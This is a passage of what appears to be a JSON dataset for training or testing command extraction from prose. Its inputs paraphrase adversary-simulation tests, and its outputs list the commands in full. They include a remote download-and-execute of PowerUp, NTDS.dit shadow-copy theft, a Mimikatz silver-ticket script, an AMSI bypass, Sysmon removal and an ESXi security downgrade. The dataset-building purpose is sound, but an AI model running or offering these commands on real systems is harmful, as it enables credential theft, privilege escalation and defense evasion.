check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For domain controllers, you may create a Volume Shadow Copy to access the NTDS.dit database with the command: (gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible'); On a domain controller, the NTDS.dit file can be extracted using Volume Shadow Copy, which requires executing this command:\nvssadmin.exe create shadow /for=#{drive_letter}\nmklink /D #{symlink_path} \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n",
    "output": "{\"command_list\": [\"(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\\n\", \"vssadmin.exe create shadow /for=#{drive_letter}\\nmklink /D #{symlink_path} \\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To generate and use a Kerberos silver ticket without affecting the current session, the following steps are performed in a temporary Windows environment. Run this command sequence: Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\silver.txt 2>&1 (\n  echo Purge existing tickets and create silver ticket:\n  klist purge\n  #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n  echo.\n  echo executing:schtasks /query /S #{target}.#{domain}\n  schtasks /query /S #{target}.#{domain}\n  \n  echo.\n  echo Tickets after requesting schtasks:\n  klist\n\n  echo.\n  echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Silver Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore; An adversary can downgrade the VIB acceptance level to CommunitySupported using PowerCLI, which lowers the security criteria. This is done by running the following commands: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \"CommunitySupported\"})\nDisconnect-VIServer -Confirm:$false\n. After this, malicious VIBs can be installed on the host.",
    "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\\n# get current domain SID if default was used\\n$domain_sid = \\\"#{domain_sid}\\\"\\nIf ($domain_sid -Match \\\"DEFAULT\\\") {\\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\\n}\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to silver.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\silver.txt 2>&1 (\\n  echo Purge existing tickets and create silver ticket:\\n  klist purge\\n  #{mimikatz_path} \\\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\\\" \\\"exit\\\"\\n\\n  echo.\\n  echo executing:schtasks /query /S #{target}.#{domain}\\n  schtasks /query /S #{target}.#{domain}\\n  \\n  echo.\\n  echo Tickets after requesting schtasks:\\n  klist\\n\\n  echo.\\n  echo End of Silver Ticket attack\\n)\\n\\\"@ -Replace \\\"DOMAIN_SID\\\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\\\silver.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\silver.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\silver.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Silver Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\silver.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\", \"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \\nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \\\"CommunitySupported\\\"})\\nDisconnect-VIServer -Confirm:$false\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can determine the logged-in user by executing this command that employs the WindowsIdentity class: [System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\CurrentUserObject.txt\n; During execution, SocGholish performs whoami discovery and outputs the results to a randomly named tmp file in AppData\\Temp, with the filename generated via this command: \n$TokenSet = @{\n  U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n  N = [Char[]]'0123456789'\n}\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\n$StringSet = $Upper + $Number\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\n$file = \"rad\" + $rad + \".tmp\"\n\nwhoami.exe /all >> #{output_path}\\$file\n",
    "output": "{\"command_list\": [\"[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\\\CurrentUserObject.txt\\n\", \"$TokenSet = @{\\n  U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\\n  N = [Char[]]'0123456789'\\n}\\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\\n$StringSet = $Upper + $Number\\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\\n$file = \\\"rad\\\" + $rad + \\\".tmp\\\"\\n\\nwhoami.exe /all >> #{output_path}\\\\$file\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Sysinternals Sysmon tool can be uninstalled for defense evasion with the command: sysmon -u; An effective method to bypass AMSI involves modifying the DLL in memory, specifically setting the 'amsiInitFailed' function to true, which can be done with this command: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n",
    "output": "{\"command_list\": [\"sysmon -u\\n\", \"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To terminate a specific service by sending a SIGTERM signal, use the following command: sudo killall -SIGTERM #{process_name}; The kill command can be used to stop a service by sending a SIGTERM signal, like this: sudo kill -SIGTERM $(pgrep #{process_name}). This terminates the running process or does nothing if the service isn't active.",
    "output": "{\"command_list\": [\"sudo killall -SIGTERM #{process_name}\\n\", \"sudo kill -SIGTERM $(pgrep #{process_name})\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script simulates OSTap's activity by creating and executing a test file with the command: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd; When svchost.exe writes a non-Microsoft Office file to a UNC path, the following commands are executed: copy C:\\Windows\\System32\\cmd.exe C:\\svchost.exe\nC:\\svchost.exe /c echo T1105 > \\\\localhost\\c$\\T1105.txt\n",
    "output": "{\"command_list\": [\"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\", \"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\svchost.exe\\nC:\\\\svchost.exe /c echo T1105 > \\\\\\\\localhost\\\\c$\\\\T1105.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 